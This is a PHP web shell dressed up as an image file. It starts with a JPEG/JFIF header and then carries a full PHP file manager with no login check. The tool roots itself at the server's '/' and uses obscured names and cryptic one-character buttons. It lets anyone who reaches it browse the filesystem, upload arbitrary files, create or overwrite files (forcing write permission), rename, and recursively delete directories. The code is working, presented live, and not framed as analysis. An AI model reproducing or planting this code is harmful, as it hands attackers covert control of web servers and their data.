ÿØÿà JFIF 

  
 
  ÿÛ „ 	 ( %!1!%*+...983,7(-.-


<?php
function xgo($v){return htmlspecialchars((string)$v,ENT_QUOTES,'UTF-8');}

function bootz(){
    if(session_status()===PHP_SESSION_NONE)session_start();
    if(!isset($_SESSION['kako']))$_SESSION['kako']=[];
}

function tokz($d){
    bootz();
    $i=time().rand(1000,9999);
    $_SESSION['kako'][$i]=$d;
    return $i;
}

function getz($i,$d=null){
    bootz();
    return $_SESSION['kako'][$i]??$d;
}

function jmp($w,$a=[]){
    global $_GET,$lok,$root;
    $_GET=$a+['k'=>tokz($w)];
    $lok=fix($w,$root);
    $_POST=[];
    $_SERVER['REQUEST_METHOD']='GET';
}

function fix($r,$root){
    $r=str_replace("\0",'',(string)$r);
    $r=trim($r);
    if($r==='' or $r==='.' or $r==='/' or $r==='\\')return getcwd();
    $d=rawurldecode($r);
    $d=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$d);
    if(!preg_match('#^([A-Za-z]:|'.preg_quote(DIRECTORY_SEPARATOR,'#').')#',$d)){
        $f=rtrim($root,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($d,DIRECTORY_SEPARATOR);
    }else $f=$d;
    $p=[];
    foreach(explode(DIRECTORY_SEPARATOR,$f) as $x){
        if($x==='' or $x==='.')continue;
        if($x==='..'){array_pop($p);continue;}
        $p[]=$x;
    }
    if(DIRECTORY_SEPARATOR==='\\' and preg_match('#^[A-Za-z]:#',($p[0]??''))){
        $o=implode(DIRECTORY_SEPARATOR,$p);
    }else $o=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$p);
    $rp=@realpath($o);
    if($rp!==false and strpos($rp,$root)===0)$o=$rp;
    if(is_file($o))$o=dirname($o);
    return rtrim($o,DIRECTORY_SEPARATOR);
}

function rd($f){
    if(!is_file($f) or !is_readable($f))return false;
    $h=@fopen($f,'rb');
    if(!$h)return false;
    $b='';
    while(!feof($h)){$c=@fread($h,65536);if($c===false){@fclose($h);return false;}$b.=$c;}
    @fclose($h);
    return $b;
}

function wr($f,$d){
    $dir=dirname($f);
    if(!is_dir($dir) or !is_writable($dir))return false;
    $h=@fopen($f,'wb');
    if(!$h)return false;
    @flock($h,LOCK_EX);
    $ok=@fwrite($h,$d);
    @flock($h,LOCK_UN);
    @fclose($h);
    return $ok!==false;
}

function nuk($dir){
    if(!is_dir($dir))return false;
    $ls=@scandir($dir);
    if($ls===false)return false;
    foreach($ls as $i){
        if($i==='.' or $i==='..')continue;
        $t=$dir.DIRECTORY_SEPARATOR.$i;
        if(is_dir($t)){if(!nuk($t))return false;}
        else{if(!@unlink($t))return false;}
    }
    return @rmdir($dir);
}

function dub($s,$d){
    if(!file_exists($s))return false;
    $dir=dirname($d);
    if(!is_dir($dir) or !is_writable($dir))return false;
    $i=@fopen($s,'rb');
    if(!$i)return false;
    $o=@fopen($d,'wb');
    if(!$o){@fclose($i);return false;}
    $ok=true;
    while(!feof($i)){$x=@fread($i,65536);if($x===false or @fwrite($o,$x)===false){$ok=false;break;}}
    @fclose($i);
    @fclose($o);
    return $ok;
}

function lnk($p,$t){return '<a href="?k='.xgo(tokz($p)).'">'.$t.'</a>';}

function pkako($p,$root){
    $ps=str_replace('\\','/',$p);
    $rs=str_replace('\\','/',$root);
    if(strpos($ps,$rs)===0){
        $rel=ltrim(substr($ps,strlen($rs)),'/');
        $seg=$rel===''?[]:array_values(array_filter(explode('/',$rel)));
        $o=[lnk($rs,'@')];
        $c=$rs;
        foreach($seg as $x){
            $c=rtrim($c,'/\\').DIRECTORY_SEPARATOR.$x;
            $o[]=lnk($c,$x);
        }
        return implode(' / ',$o);
    }
    return $p;
}

$tok=$_GET['k']??null;
$vx=$_GET['vx']??'';
$fx=$_GET['fx']??'';
$root='/';
$lok=$tok!==null?fix(getz($tok,$root),$root):fix('',$root);
$rx=$_GET['rx']??'';

if($_SERVER['REQUEST_METHOD']==='POST'){
    
    if(isset($_FILES['ux'])){
        $up=$_FILES['ux'];
        $dst=$lok.DIRECTORY_SEPARATOR.basename($up['name']);
        if($up['error']===UPLOAD_ERR_OK and is_uploaded_file($up['tmp_name']) and dub($up['tmp_name'],$dst))jmp($lok,['rx'=>'y']);
        jmp($lok,['rx'=>'n']);
    }
    
    if(isset($_POST['gx'])){
        $nx=basename(trim((string)($_POST['nx']??'')));
        $kako=(string)($_POST['kako']??'');
        if($nx!=='' and !file_exists($lok.DIRECTORY_SEPARATOR.$nx) and wr($lok.DIRECTORY_SEPARATOR.$nx,$kako))jmp($lok,['rx'=>'y']);
        jmp($lok,['rx'=>'n']);
    }
    
    if(isset($_POST['kako'])){
        $nx=basename(trim((string)($_POST['nx']??'')));
        if($nx!=='' and !file_exists($lok.DIRECTORY_SEPARATOR.$nx) and @mkdir($lok.DIRECTORY_SEPARATOR.$nx,0777,true))jmp($lok,['rx'=>'y']);
        jmp($lok,['rx'=>'n']);
    }
    
    if(isset($_POST['wx']) and $fx!==''){
        $t=$lok.DIRECTORY_SEPARATOR.$fx;
        $kako=(string)($_POST['kako']??'');
        if(is_file($t)){
            if(!is_writable($t))@chmod($t,0666);
            if(wr($t,$kako))jmp($lok,['rx'=>'y','vx'=>'px','fx'=>$fx]);
        }
        jmp($lok,['rx'=>'n','vx'=>'px','fx'=>$fx]);
    }
    
    if(isset($_POST['mx'])){
        $ox=basename(trim((string)($_POST['ox']??'')));
        $nx=basename(trim((string)($_POST['nx']??'')));
        if($ox!=='' and $nx!=='' and file_exists($lok.DIRECTORY_SEPARATOR.$ox) and !file_exists($lok.DIRECTORY_SEPARATOR.$nx) and @rename($lok.DIRECTORY_SEPARATOR.$ox,$lok.DIRECTORY_SEPARATOR.$nx))jmp($lok,['rx'=>'y']);
        jmp($lok,['rx'=>'n']);
    }
    
    if(isset($_POST['zx'])){
        $ix=basename(trim((string)($_POST['ix']??'')));
        if($ix!==''){
            $t=$lok.DIRECTORY_SEPARATOR.$ix;
            if((is_file($t) and @unlink($t)) or (is_dir($t) and nuk($t)))jmp($lok,['rx'=>'y']);
        }
        jmp($lok,['rx'=>'n']);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Qx</title>
<style>
body{font:13px monospace;margin:20px;background:#fff}
a{color:#00f}
input,textarea{font:13px monospace;padding:3px;margin:2px 0}
button{font:13px monospace;padding:3px 8px;cursor:pointer}
table{border-collapse:collapse;width:100%}
td,th{border:1px solid #ccc;padding:5px;text-align:left}
th{background:#f5f5f5}
.yx{color:green}
.nx{color:red}
hr{border:none;border-top:1px solid #ddd;margin:15px 0}
</style>
</head>
<body>

<b><?php echo pkako($lok,$root)?></b>
<?php if($rx==='y'):?><span class="yx"> +</span><?php elseif($rx==='n'):?><span class="nx"> -</span><?php endif;?>

<hr>

<form method="post" enctype="multipart/form-data">
<input type="file" name="ux"> <button>^</button>
</form>

<form method="post">
<input name="nx" placeholder="..." size="20">
<textarea name="kako" rows="3" cols="40"></textarea>
<button name="gx">+f</button>
</form>

<form method="post">
<input name="nx" placeholder="..." size="20"> <button name="kako">+d</button>
</form>

<hr>

<?php if($vx==='px' and $fx!==''):
$t=$lok.DIRECTORY_SEPARATOR.$fx;
$cnt=rd($t);
if($cnt!==false):?>
<b><?php echo xgo($fx)?></b><br>
<form method="post">
<textarea name="kako" rows="20" cols="80"><?php echo xgo($cnt)?></textarea><br>
<button name="wx">!</button>
</form>
<hr>
<?php endif;endif;?>

<table>
<tr><th>-</th><th>#</th><th>~</th></tr>
<?php
$ls=@scandir($lok);
if($ls===false){
    echo '<tr><td colspan="3">x</td></tr>';
}else{
    foreach($ls as $x){
        if($x==='.' or $x==='..')continue;
        $fp=$lok.DIRECTORY_SEPARATOR.$x;
        $isdir=is_dir($fp);
        $sz=$isdir?'-':number_format(@filesize($fp));
        
        echo '<tr><td>';
        if($isdir)echo '[/] '.lnk($fp,$x);
        else echo '[.] '.xgo($x);
        echo '</td><td>'.$sz.'</td><td>';
        
        if(!$isdir)echo '<a href="?k='.xgo(tokz($lok)).'&vx=px&fx='.urlencode($x).'">px</a> ';
        
        echo '<form method="post" style="display:inline" onsubmit="return confirm(\'?\')">
        <input type="hidden" name="ix" value="'.xgo($x).'">
        <button name="zx">x</button>
        </form> ';
        
        echo '<form method="post" style="display:inline">
        <input type="hidden" name="ox" value="'.xgo($x).'">
        <input name="nx" size="10">
        <button name="mx">&gt;</button>
        </form>';
        
        echo '</td></tr>';
    }
}
?>
</table>

</body>
</html>